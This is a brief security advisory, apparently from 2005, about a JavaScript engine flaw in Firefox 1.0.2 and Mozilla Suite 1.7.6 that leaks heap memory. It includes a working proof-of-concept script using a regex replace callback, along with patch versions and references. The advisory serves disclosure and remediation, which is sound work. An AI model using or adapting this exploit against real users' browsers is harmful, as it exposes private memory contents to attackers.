Technical Description

A new vulnerability was identified in Mozilla Firefox/Suite, which may be exploited by attackers to disclose sensitive information. This flaw is due to an error in the JavaScript engine, which may be exploited by attackers to disclose arbitrary heap memory regions.

Proof of Concept :
<script language="JavaScript">

function genGluck(str){
var x = str;
var rx=/end/i;
x = x.replace(rx,function($1){
$1.match(rx);
return "";
});
x = x.replace(/^end/,"");
return x;
}

var mem = genGluck( "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"+
"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"+
"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"+
"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"+
"XXXend");

document.write(mem);
</script>

Affected Products

Mozilla Firefox version 1.0.2 and prior
Mozilla Suite version 1.7.6 and prior

Solution

Upgrade to Firefox 1.0.3 or Mozilla Suite 1.7.7 :
http://www.mozilla.org/download.html

References

http://www.vupen.com/english/advisories/2005/0312
http://cubic.xfo.org.ru/index.cgi?read=53004
https://bugzilla.mozilla.org/show_bug.cgi?id=288688

Credits

Vulnerability reported by Azafran

ChangeLog

2005-04-04 : Initial release
2005-04-11 : Updated CVE
2005-04-16 : Updated Solution

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